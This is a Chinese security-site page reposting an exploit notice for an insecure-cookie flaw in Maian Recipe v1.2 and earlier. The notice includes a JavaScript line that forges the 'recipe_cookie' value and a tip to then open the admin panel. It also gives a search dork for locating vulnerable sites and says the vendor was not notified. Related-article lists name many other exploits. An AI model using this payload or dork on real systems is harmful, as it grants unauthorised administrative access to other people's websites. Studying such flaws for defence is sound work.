• linkedu视频
  • 平面设计
  • 电脑入门
  • 操作系统
  • 办公应用
  • 电脑硬件
  • 动画设计
  • 3D设计
  • 网页设计
  • CAD设计
  • 影音处理
  • 数据库
  • 程序设计
  • 认证考试
  • 信息管理
  • 信息安全
菜单
linkedu.com
  • 网页制作
  • 数据库
  • 程序设计
  • 操作系统
  • CMS教程
  • 游戏攻略
  • 脚本语言
  • 平面设计
  • 软件教程
  • 网络安全
  • 电脑知识
  • 服务器
  • 视频教程
  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链
您的位置:首页 > 网络安全 >Exploit > Maian Recipe

Maian Recipe

作者:佚名 字体:[增加 减小] 来源:互联网

佚名 向大家分享了Maian Recipe ,其中包含maian,recipe,recipe水晶防晒喷雾,recipe是什么意思,papa recipe等知识点,遇到此问题的同学们可以参考下
-[*] ================================================================================ [*]-
-[*] Maian Recipe <= v1.2 Insecure Cookie Handling Vulnerability [*]-
-[*] ================================================================================ [*]-



[*] Discovered By: S.W.A.T.
[*] E-Mail: svvateam[at]yahoo[dot]com
[*] Script Download: http://www.maianscriptworld.co.uk
[*] DORK: Powered by: Maian Recipe v1.2



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION:

Maian Recipe suffers from a insecure cookie, the admin panel only checks if the cookie

exists.
and not the content. so we can easyily craft a cookie and look like a admin.



[*] Vulnerability:

javascript:document.cookie = "recipe_cookie=1; path=/";


[*] NOTE/TIP:

after running the javascript, visit "/admin/index.php" to view admin area.



-[*] ================================================================================ [*]-
-[*] Maian Recipe <= v1.2 Insecure Cookie Handling Vulnerability [*]-
-[*] ================================================================================ [*]-
</div>

您可能想查找下面的文章:

  • Maian Cart 1.1 Insecure Cookie Handling Vulnerability
  • Maian Gallery 2.0 Insecure Cookie Handling Vulnerability
  • Maian Events 2.0 Insecure Cookie Handling Vulnerability
  • Maian Music 1.0 Insecure Cookie Handling Vulnerability
  • Maian Greetings 2.1 Insecure Cookie Handling Vulnerability
  • Maian Recipe
  • Maian Guestbook
  • Maian Weblog
  • Maian Search
  • Maian Uploader

相关文章

  • PhotoPost vBGallery 2.4.2 Arbitrary File Upload Vulnerability
  • Maian Greetings 2.1 Insecure Cookie Handling Vulnerability
  • trixbox (langChoice) Local File Inclusion Exploit (connect-back)
  • MojoAuto (mojoAuto.cgi mojo) Blind SQL Injection Exploit
  • Rianxosencabos CMS 0.9 Remote Add Admin Exploit
  • DigiLeave 1.2 (info_book.asp book_id) Blind SQL Injection Exploit
  • IntelliTamper 2.07/2.08 Beta 4 A HREF Remote Buffer Overflow Exploit
  • Oracle 10g KUPM$MCP.MAIN SQL Injection Exploit
  • pSys 0.7.0 Alpha Multiple Remote File Inclusion Vulnerability
  • Belkin wireless G router ADSL2 modem Auth Bypass Exploit

文章分类

  • 安全教程
  • 安全设置
  • 杀毒防毒
  • 病毒查杀
  • 脚本攻防
  • 入侵防御
  • 工具使用
  • 业界动态
  • Exploit
  • 漏洞分析
  • 加密解密
  • 手机安全
  • 区块链

最近更新的内容

    • Maian Weblog
    • Microsoft Access (Snapview.ocx 10.0.5529.0) ActiveX Remote Exploit
    • fuzzylime cms 3.01 (commrss.php) Remote Code Execution Exploit
    • tplSoccerSite 1.0 Multiple Remote SQL Injection Vulnerabilities
    • Rianxosencabos CMS 0.9 Remote Add Admin Exploit
    • AuraCMS
    • pLink 2.07 (linkto.php id) Remote Blind SQL Injection Exploit
    • Dreampics Builder (page) Remote SQL Injection Vulnerability
    • BIND 9.x Remote DNS Cache Poisoning Flaw Exploit (py)
    • PHP 4.4.5 / 4.4.6 session_decode() Double Free Exploit PoC

关于我们 - 联系我们 - 免责声明 - 网站地图

©2020-2025 All Rights Reserved. linkedu.com 版权所有